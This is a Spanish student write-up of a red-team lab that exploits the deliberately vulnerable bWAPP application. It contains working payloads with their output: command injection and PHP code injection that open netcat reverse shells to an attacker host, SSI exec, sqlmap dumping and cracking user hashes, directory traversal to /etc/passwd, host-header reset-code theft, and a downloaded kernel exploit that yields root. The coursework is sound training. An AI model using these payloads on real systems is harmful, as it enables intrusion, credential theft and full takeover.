

Red Team y Purple Team

Tarea práctica

Alejandro Náger Fernández-Calvo (54537229C)

Índice

Introducción.....	3
Ejercicio 1	4
Ejercicio 2	4
Ejercicio 3	4
Ejercicio 4	5
Ejercicio 5	6
Ejercicio 6	6
Ejercicio 7	7
Ejercicio 8	8
Ejercicio 9	8
Ejercicio 10.....	9

Introducción

El presente trabajo tiene como objetivo analizar y explotar diversas vulnerabilidades en una aplicación web deliberadamente insegura, con el fin de comprender los riesgos asociados a una mala configuración y desarrollo de sistemas. Para ello, se ha utilizado la plataforma bWAPP (buggy Web Application), un entorno diseñado para la práctica de técnicas de seguridad ofensiva en un contexto controlado.

A lo largo de los diferentes ejercicios se abordan múltiples vectores de ataque, como la inyección de comandos, la inclusión de archivos, la manipulación de servicios como FTP, y la explotación de vulnerabilidades en el lado del servidor. Asimismo, se pone en práctica la obtención de acceso remoto mediante reverse shells y la posterior escalada de privilegios hasta alcanzar control total del sistema.

El desarrollo de estas pruebas permite comprender el funcionamiento interno de las vulnerabilidades, así como la importancia de aplicar medidas de seguridad adecuadas, tales como la validación de entradas, el principio de mínimo privilegio y la correcta configuración de servicios. De este modo, no solo se adquieren conocimientos prácticos sobre técnicas de explotación, sino también sobre cómo prevenirlas en entornos reales.

Ejercicio 1

Respuesta: **B.** ;

¿Cual es el caracter que debes utilizar para producir el fallo de seguridad?

DNS lookup:

Server: 1.1.1.1 Address: 1.1.1.1 Non-authoritative answer: www.nsa.gov canonical name = nsa.gov.edgekey.net. nsa.gov.edgekey.net canonical name = e16248.dscb.akamaiedge.net. Name: e16248.dscb.akamaiedge.net Address: 104.83.69.115 www-data 666 admin aim.php apps backdoor.php bugs.txt commandi.php commandi blind.php config.inc config.inc.php connect.php connect.i.php credits.php

Ejercicio 2

Respuesta: **system('nc 192.168.1.43 8080 -e /bin/bash')**

Tarea Evaluable

Choose your bug:

Set your security level: Current: low

Change Password Create User Set Security Level Reset Logout Welcome Bee

Ejercicio 2

Pregunta

This is just a test page, reflecting back your message...

test

```
kali@kali:~$ nc -l -vnp 8080
listening on [any] 8080 ...
connect to [192.168.1.43] from (UNKNOWN) [192.168.1.51] 40060
ls
666
admin
aim.php
apps
backdoor.php
bugs.txt
commandi.php
commandi.blind.php
config.inc
config.inc.php
connect.php
connect.i.php
credits.php
cs_validation.php
cve-2009-2692.sh
db
```

Ejercicio 3

Respuesta: **<!--#exec cmd="id" -->**

Ejercicio 3

Pregunta

First name:

Last name:

Hello uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data ,

Your IP address is:

192.168.1.42

Ejercicio 4

Respuesta: B. 2

```
PS C:\Users\norba\Desktop\UCM\Red Team\sqlmap\sqlmapproject-sqlmap-3ae174a> python sqlmap.py -u "http://192.168.1.51/bwapp/sql1_13.php" --data="movie=1&action=go" --cookie="security_level=0; PHPSESSID=19938fe3b56546e8def7ede6c81"
2b7f9 -dbms -D bwapp --tables -T users --dump

[+] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:39:58 /2026-04-15/

[16:39:58] [INFO] resuming back-end DBMS 'mysql'
[16:39:58] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: movie (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: movie=1 AND 6787=6787&action=go

Type: error-based
Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: movie=1 AND ROW(7030,4067)=(SELECT COUNT(*),CONCAT(0x71706b6a71,(SELECT (ELT(7030=7030,1)))0x7176767171,FLOOR(RAND(0)*2))x FROM (SELECT 4376 UNION SELECT 4248 UNION SELECT 7157 UNION SELECT 1912)a GROUP BY x)&action=go

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: movie=1 AND (SELECT 5824 FROM (SELECT(SLEEP(5)))FwJN)&action=go

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: movie=7506 UNION ALL SELECT NULL,NULL,CONCAT(0x71706b6a71,0x496661466357674977410e48455649524b6556617574477477062372776e4c584e687064796d5872,0x7176767171),NULL,NULL,NULL,NULL--- --&action=go

[16:39:58] [INFO] resumed: 'users'
[16:39:58] [INFO] resumed: 'visitors'
Database: bwapp
[5 tables]
+-----+
| blog |
| heroes |
| movies |
| users |
| visitors |
+-----+

[16:39:58] [INFO] fetching columns for table 'users' in database 'bwapp'
[16:39:58] [UNION] reflective values(s) found and filtering out
[16:39:58] [INFO] retrieved: 'id', 'int(10)'
[16:39:58] [INFO] retrieved: 'login', 'varchar(100)'
[16:39:58] [INFO] retrieved: 'password', 'varchar(100)'
[16:39:58] [INFO] retrieved: 'email', 'varchar(100)'
[16:39:58] [INFO] retrieved: 'secret', 'varchar(100)'
[16:39:58] [INFO] retrieved: 'activation_code', 'varchar(100)'
[16:39:58] [INFO] retrieved: 'activated', 'tinyint(1)'
[16:39:58] [INFO] retrieved: 'reset_code', 'varchar(100)'
[16:39:58] [INFO] retrieved: 'admin', 'tinyint(1)'
[16:39:58] [INFO] fetching entries for table 'users' in database 'bwapp'
[16:39:58] [INFO] retrieved: '1', '1', ' ', 'bwapp-aim@mailinator.com', '1', 'A.I....'
[16:39:58] [INFO] retrieved: '1', '1', ' ', 'bwapp-bee@mailinator.com', '2', 'bee'...
[16:39:58] [INFO] recognized possible password hashes in columns: 'password', 'reset_code'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to crack them via a dictionary-based attack? [y/n/q]

[16:40:22] [INFO] using hash method 'sh1_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file 'C:\Users\norba\Desktop\UCM\Red Team\sqlmap\sqlmapproject-sqlmap-3ae174a\data\wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>

[16:40:31] [INFO] using default dictionary
do you want to use common password surfixes? (slow!) [y/N]

[16:40:38] [INFO] starting dictionary-based cracking (sh1_generic_passwd)
[16:40:38] [INFO] starting 12 processes
[16:40:48] [INFO] cracked password 'bug' for user 'A.I.M.'

Database: bwapp
Table: users
[2 entries]
+-----+
| id | email | login | secret | admin | password | activated | reset_code | activation_code |
+-----+
| 1 | bwapp-aim@mailinator.com | A.I.M. | A.I.M. or Authentication Is Missing | 1 | 6885858486f31043e5839c735d99457f045affd0 (bug) | 1 | NULL | NULL |
| 2 | bwapp-bee@mailinator.com | bee | Any bugs? | 1 | 6885858486f31043e5839c735d99457f045affd0 (bug) | 1 | 12066924ac88ee0b15712c1fade94bd33866ebfa | NULL |
+-----+

[16:41:01] [INFO] table 'bwapp.users' dumped to CSV file 'C:\Users\norba\AppData\Local\sqlmap\output\192.168.1.51\dump\bwapp\users.csv'
[16:41:01] [INFO] fetched data logged to text files under 'C:\Users\norba\AppData\Local\sqlmap\output\192.168.1.51'

[*] ending @ 16:41:01 /2026-04-15/

PS C:\Users\norba\Desktop\UCM\Red Team\sqlmap\sqlmapproject-sqlmap-3ae174a>
```



Ejercicio 5

Respuesta: **A. zkdZea**

```
Windows PowerShell
PS C:\Users\norba> ftp 192.168.1.51
Connected to 192.168.1.51.
220 ProFTPD 1.3.1 Server (bee-box) [192.168.1.51]
500 OPTS UTF8 not understood
User (192.168.1.51:(none)): alice
331 Password required for alice
Password:

230 User alice logged in
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
Examples
226 Transfer complete
ftp: 13 bytes received in 0.00Seconds 13.00Kbytes/sec.
ftp> cd Examples
250 CWD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
Ramsonware.txt
226 Transfer complete
ftp: 19 bytes received in 0.00Seconds 19.00Kbytes/sec.
ftp> get Ramsonware.txt
200 PORT command successful
150 Opening ASCII mode data connection for Ramsonware.txt (7 bytes)
226 Transfer complete
ftp: 8 bytes received in 0.00Seconds 8000.00Kbytes/sec.
ftp> quit
221 Goodbye.
PS C:\Users\norba> cat .\Ramsonware.txt
zkdZea
PS C:\Users\norba>
```

Ejercicio 6

Respuesta: **B. Any bugs?**

Request

Pretty Raw Hex

1 POST /bWAPP/insecure_crypt_storage_3.php HTTP/1.1

2 Host: 192.168.1.51

3 Content-Length: 21

4 Cache-Control: max-age=0

5 Accept-Language: en-US,en;q=0.9

6 Origin: http://192.168.1.51

7 Content-Type: application/x-www-form-urlencoded

8 Upgrade-Insecure-Requests: 1

9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36

10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

11 Referer: http://192.168.1.51/bWAPP/insecure_crypt_storage_3.php

12 Accept-Encoding: gzip, deflate, br

13 Cookie: security_level=0; PHPSESSID=5b324b9e791fb949c95d4bb0fe4db3; secret=QW551GJ1Z3M%2F

14 Connection: keep-alive

15

16 bug=5&form_bug=submit

Inspector

Selection 14 (0xe)

Selected text

QW551GJ1Z3M%2F

Decoded from: URL encoding

QW551GJ1Z3M/

Decoded from: Base64

Any bugs?

Cancel Apply changes

Ejercicio 7

Para comprobar si la vulnerabilidad de Directory Traversal ha sido correctamente mitigada, se intenta manipular el parámetro page para acceder a archivos fuera del directorio permitido. Por ejemplo:

directory_traversal_1.php?page=../../../../etc/passwd

Este tipo de payload intenta retroceder en la estructura de directorios hasta alcanzar archivos sensibles del sistema como /etc/passwd. Si el sistema es vulnerable, se mostrará el contenido del archive, como es el caso.



/ Ejercicio 7 /

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
```

Ejercicio 8

Respuesta: **C. 12066924ac88ee0b15712c1fade94bd33866ebfa**

```
PS C:\Users\norba> ncat -lvnp 8080
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Listening on [::]:8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from [::1]:6789.
POST http://192.168.1.51/bWAPP/hostheader_2.php HTTP/1.1
Host: 192.168.1.51
Proxy-Connection: keep-alive
Content-Length: 45
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://192.168.1.51
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.51/bWAPP/hostheader_2.php
Accept-Encoding: gzip, deflate
Cookie: security_level=0; PHPSESSID=82c7679344998d1bbe18974a36ec69bd

email=bwapp-bee%40mailinator.com&action=reset
PS C:\Users\norba> ncat -lvnp 8080
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Listening on [::]:8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.1.51:55556.
GET /log.php?email=bwapp-bee%40mailinator.com&reset_code=12066924ac88ee0b15712c1fade94bd33866ebfa HTTP/1.0
Host: 192.168.1.35:8080
```

Ejercicio 9

En este ejercicio se intercepta la petición HTTP utilizando Burp Suite. A continuación, se modifica el parámetro vulnerable sustituyendo su valor por **php://input**, lo que permite incluir código PHP en el cuerpo de la petición. En dicho cuerpo se introduce el código:

<?php echo system(\$_GET['cmd']); ?>

Posteriormente, se añade el parámetro **cmd** con un comando que establece una *reverse shell*, y consiguiendo acceso remoto al sistema víctima.

```
Pretty Raw Hex
1 GET /bWAPP/r1fi.php?language=php://input&cmd=
  rm+-f+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.43+8080+>/tmp/f
  &action=go HTTP/1.1
2 Host: 192.168.1.51
3 Accept-Language: en-US,en;q=0.9
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
  Gecko) Chrome/146.0.0.0 Safari/537.36
6 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
  /*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Referer: http://192.168.1.51/bWAPP/r1fi.php
8 Accept-Encoding: gzip, deflate, br
9 Cookie: security_level=0; PHPSESSID=08ab37cfadb28c99e8bd517dd2d18b48
10 Connection: keep-alive
11
12 <?php echo system($_GET['cmd']); ?>
```

Ejercicio 10

Accediendo al sistema mediante una *reverse shell* (como en el ejercicio 9), se obtiene acceso inicial como usuario con privilegios limitados. A continuación, se transfieren al sistema los archivos del exploit proporcionados en el ejercicio 10. Una vez en la máquina víctima, se otorgan permisos de ejecución al script `.sh` y se compilan los dos archivos `.c`. Finalmente, al ejecutar el script, que se encarga de utilizar los binarios compilados, se logra la escalada de privilegios y se obtiene acceso como usuario `root`.

```
(kali@kali)-[~]
$ nc -lvp 8080 -s 192.168.1.43
listening on [192.168.1.43] 8080 ...
connect to [192.168.1.43] from (UNKNOWN) [192.168.1.51] 43565
/bin/sh: can't access tty; job control turned off
$ wget http://192.168.1.43:8080/cve-2009-2692.sh
--11:50:43-- http://192.168.1.43:8080/cve-2009-2692.sh
=> 'cve-2009-2692.sh'
Connecting to 192.168.1.43:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1,208 (1.2K) [application/x-sh]

0K . 100% 20.83 MB/s
11:50:43 (20.83 MB/s) - 'cve-2009-2692.sh' saved [1208/1208]

$ wget http://192.168.1.43:8080/pwnkernel.c
--11:51:17-- http://192.168.1.43:8080/pwnkernel.c
=> 'pwnkernel.c'
Connecting to 192.168.1.43:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 764 [text/x-csrc]

0K 100% 7.90 MB/s
11:51:17 (7.90 MB/s) - 'pwnkernel.c' saved [764/764]

$ wget http://192.168.1.43:8080/exploit.c
--11:32:54-- http://192.168.1.43:8080/exploit.c
=> 'exploit.c'
Connecting to 192.168.1.43:8080... failed: Connection refused.
$ wget http://192.168.1.43:8080/exploit.c
--11:34:33-- http://192.168.1.43:8080/exploit.c
=> 'exploit.c'
Connecting to 192.168.1.43:8080... failed: Connection refused.
$ wget http://192.168.1.43:8080/exploit.c
--11:39:21-- http://192.168.1.43:8080/exploit.c
=> 'exploit.c'
Connecting to 192.168.1.43:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11,119 (11K) [text/x-csrc]

0K ..... 100% 156.19 MB/s
11:39:21 (156.19 MB/s) - 'exploit.c' saved [11119/11119]

$ ./cve-2009-2692.sh
ALSA lib conf.c:3952:(snd_config_expand) Unknown parameters 0
ALSA lib pcm.c:2145:(snd_pcm_open_noupdate) Unknown PCM front:0
ALSA lib conf.c:3952:(snd_config_expand) Unknown parameters 0
ALSA lib pcm.c:2145:(snd_pcm_open_noupdate) Unknown PCM surround40:0
ALSA lib conf.c:3952:(snd_config_expand) Unknown parameters 0
ALSA lib pcm.c:2145:(snd_pcm_open_noupdate) Unknown PCM surround41:0
ALSA lib conf.c:3952:(snd_config_expand) Unknown parameters 0
ALSA lib pcm.c:2145:(snd_pcm_open_noupdate) Unknown PCM surround50:0
ALSA lib conf.c:3952:(snd_config_expand) Unknown parameters 0
ALSA lib pcm.c:2145:(snd_pcm_open_noupdate) Unknown PCM surround51:0
ALSA lib conf.c:3952:(snd_config_expand) Unknown parameters 0
ALSA lib pcm.c:2145:(snd_pcm_open_noupdate) Unknown PCM surround71:0
ALSA lib pcm_hw.c:1207:(_snd_pcm_hw_open) Invalid value for card
E: alsa-util.c: Error opening PCM device hw:0: No such file or directory
E: module.c: Failed to load module "module-alsa-sink" (argument: "device_id=0 sink_name=alsa_output.pci_8086_2415_sound_card_0_alsa_playback_0"): initialization failed.
ALSA lib conf.c:3952:(snd_config_expand) Unknown parameters 0
ALSA lib pcm.c:2145:(snd_pcm_open_noupdate) Unknown PCM front:0
ALSA lib conf.c:3952:(snd_config_expand) Unknown parameters 0
ALSA lib pcm.c:2145:(snd_pcm_open_noupdate) Unknown PCM surround40:0
ALSA lib conf.c:3952:(snd_config_expand) Unknown parameters 0
ALSA lib pcm.c:2145:(snd_pcm_open_noupdate) Unknown PCM surround41:0
ALSA lib conf.c:3952:(snd_config_expand) Unknown parameters 0
ALSA lib pcm.c:2145:(snd_pcm_open_noupdate) Unknown PCM surround50:0
ALSA lib conf.c:3952:(snd_config_expand) Unknown parameters 0
ALSA lib pcm.c:2145:(snd_pcm_open_noupdate) Unknown PCM surround51:0
ALSA lib conf.c:3952:(snd_config_expand) Unknown parameters 0
ALSA lib pcm.c:2145:(snd_pcm_open_noupdate) Unknown PCM surround71:0
ALSA lib pcm_hw.c:1207:(_snd_pcm_hw_open) Invalid value for card
E: alsa-util.c: Error opening PCM device hw:0: No such file or directory
E: module.c: Failed to load module "module-alsa-source" (argument: "device_id=0 source_name=alsa_input.pci_8086_2415_sound_card_0_alsa_capture_0"): initialization failed.
E: x11wrap.c: XOpenDisplay() failed
E: module.c: Failed to load module "module-x11-publish" (argument: ""): initialization failed.
/bin/sh: can't access tty; job control turned off
# whoami
root
#
```